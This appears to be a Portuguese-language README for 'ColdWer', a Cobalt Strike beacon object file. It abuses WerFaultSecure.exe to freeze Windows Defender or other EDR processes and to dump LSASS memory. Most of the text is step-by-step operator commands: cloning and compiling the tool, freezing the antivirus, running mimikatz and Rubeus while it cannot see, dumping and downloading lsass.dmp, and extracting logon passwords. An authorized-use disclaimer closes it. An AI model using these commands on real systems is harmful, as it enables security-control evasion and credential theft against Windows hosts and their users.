C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Navegue para o diretório de origem
cd src/

# Compile o BOF (requer MinGW)
make

# Ou manualmente:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Encontre o PID do Windows Defender
beacon> ps

# Congele o processo
beacon> cw-freeze 1337

# Execute seus comandos enquanto o EDR/AV está congelado
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Descongele quando terminar
beacon> cw-unfreeze

# Passo 1: Faça upload do WerFaultSecure.exe do Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Passo 2: Encontre o PID do LSASS
beacon> ps

# Passo 3: Despeje o LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Passo 4: Baixe o despejo
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Congelar com caminho padrão
beacon> cw-freeze 1337

# Usar WerFaultSecure.exe customizado
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Despejar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Descongelar quando terminar
beacon> cw-unfreeze

1. 🚀 Inicie o WerFaultSecure.exe como PPL (nível WinTcb)
                    ↓
2. 🎯 WerFaultSecure anexa ao processo alvo
                    ↓
3. ⏸️  MiniDumpWriteDump suspende todas as threads do alvo
                    ↓
4. 🥶 Suspenda o próprio WerFaultSecure → O alvo permanece congelado
                    ↓
5. ✅ Execute seus comandos (o EDR/AV não pode ver!)
                    ↓
6. 🔥 Encerre o WerFaultSecure → O alvo descongela

⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

Esta ferramenta destina-se a:
- Testes de penetração autorizados
- Operações de red team com permissão por escrito
- Pesquisa de segurança em ambientes controlados

O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
O acesso não autorizado a sistemas de computador é ilegal.